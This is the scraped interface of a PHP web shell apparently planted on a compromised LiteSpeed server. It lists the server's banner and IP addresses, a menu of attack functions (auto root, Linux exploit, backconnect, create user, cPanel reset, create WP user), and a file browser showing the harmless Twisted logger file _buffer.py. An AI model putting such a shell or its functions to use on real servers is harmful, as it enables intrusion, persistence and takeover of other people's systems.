Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
logger /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
3.29
KB
-rw-r--r--
_buffer.py
1.49
KB
-rw-r--r--
_capture.py
624
B
-rw-r--r--
_file.py
2.28
KB
-rw-r--r--
_filter.py
6.73
KB
-rw-r--r--
_flatten.py
4.88
KB
-rw-r--r--
_format.py
11.6
KB
-rw-r--r--
_global.py
8.44
KB
-rw-r--r--
_interfaces.py
2.29
KB
-rw-r--r--
_io.py
4.46
KB
-rw-r--r--
_json.py
8.24
KB
-rw-r--r--
_legacy.py
5.12
KB
-rw-r--r--
_levels.py
2.92
KB
-rw-r--r--
_logger.py
9.75
KB
-rw-r--r--
_observer.py
3.17
KB
-rw-r--r--
_stdlib.py
4.44
KB
-rw-r--r--
_util.py
1.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _buffer.py
# -*- test-case-name: twisted.logger.test.test_buffer -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Log observer that maintains a buffer. """ from collections import deque from typing import Deque, Optional from zope.interface import implementer from ._interfaces import ILogObserver, LogEvent _DEFAULT_BUFFER_MAXIMUM = 64 * 1024 @implementer(ILogObserver) class LimitedHistoryLogObserver: """ L{ILogObserver} that stores events in a buffer of a fixed size:: >>> from twisted.logger import LimitedHistoryLogObserver >>> history = LimitedHistoryLogObserver(5) >>> for n in range(10): history({'n': n}) ... >>> repeats = [] >>> history.replayTo(repeats.append) >>> len(repeats) 5 >>> repeats [{'n': 5}, {'n': 6}, {'n': 7}, {'n': 8}, {'n': 9}] >>> """ def __init__(self, size: Optional[int] = _DEFAULT_BUFFER_MAXIMUM) -> None: """ @param size: The maximum number of events to buffer. If L{None}, the buffer is unbounded. """ self._buffer: Deque[LogEvent] = deque(maxlen=size) def __call__(self, event: LogEvent) -> None: self._buffer.append(event) def replayTo(self, otherObserver: ILogObserver) -> None: """ Re-play the buffered events to another log observer. @param otherObserver: An observer to replay events to. """ for event in self._buffer: otherObserver(event)
Close